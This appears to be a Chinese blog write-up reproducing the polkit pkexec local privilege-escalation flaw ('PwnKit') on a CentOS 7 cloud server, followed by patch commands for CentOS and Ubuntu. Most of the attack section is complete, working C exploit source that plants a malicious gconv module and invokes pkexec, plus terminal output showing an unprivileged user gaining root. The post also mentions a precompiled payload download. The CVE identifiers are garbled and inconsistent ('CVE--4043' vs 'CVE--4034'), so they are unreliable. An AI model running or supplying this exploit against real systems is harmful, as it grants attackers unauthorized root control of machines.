实验步骤
文章目录
实验步骤CVE--4043 Linux本地提权漏洞实验背景实验环境漏洞复现构造payload用gcc编译后上传到阿里云执行payload漏洞修复CVE--4043 Linux本地提权漏洞
实验背景
今天登录阿里云服务器突然发现了一个提权漏洞,先利用一波玩玩。
实验环境
带有漏洞的centos7系统
附带编译好的palyload下载链接CVE--4034
漏洞复现
构造payload
在GitHub找到了payload/arthepsy/CVE--4034
#include <stdio.h>#include <stdlib.h>#include <unistd.h>char *shell = "#include <stdio.h>\n""#include <stdlib.h>\n""#include <unistd.h>\n\n""void gconv() {}\n""void gconv_init() {\n""setuid(0); setgid(0);\n""seteuid(0); setegid(0);\n""system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n""exit(0);\n""}";int main(int argc, char *argv[]) {FILE *fp;system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");fp = fopen("pwnkit/pwnkit.c", "w");fprintf(fp, "%s", shell);fclose(fp);system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");char *env[] = {"pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };execve("/usr/bin/pkexec", (char*[]){NULL}, env);}
用gcc编译后上传到阿里云
[root@local ~]# touch cve4043.c[root@local ~]# vim cve4043.c[root@local ~]# lscve4043.c [root@local ~]# gcc cve4043.c -o cve4043[root@local ~]# lscve4043 cve4043.c
执行payload
[rabbit@iZj6c2ktpckmd5r3q2dfrhZ ~]$ lscve4043 //上传编译好的paload [rabbit@iZj6c2ktpckmd5r3q2dfrhZ ~]$ id //查看用户为rabbituid=1004(rabbit) gid=1004(rabbit) groups=1004(rabbit)[rabbit@iZj6c2ktpckmd5r3q2dfrhZ ~]$ ./cve4043//执行payloadsh-4.2# iduid=0(root) gid=0(root) groups=0(root),1004(rabbit) //成功提权
漏洞修复
CentOS 用户可采用如下命令升级到安全版本或更高版本:
yum clean all && yum makecache yum update polkit -y
验证修复,通过以下命令可查看 Polkit 是否为安全版本:
rpm -qa polkit
Ubuntu 用户可采用如下命令升级至安全版本或更高版本:
sudo apt-get update sudo apt-get install policykit-1
验证修复,通过以下命令可查看 Polkit 是否为安全版本:
dpkg -l policykit-1
原文链接/archives/cve--4043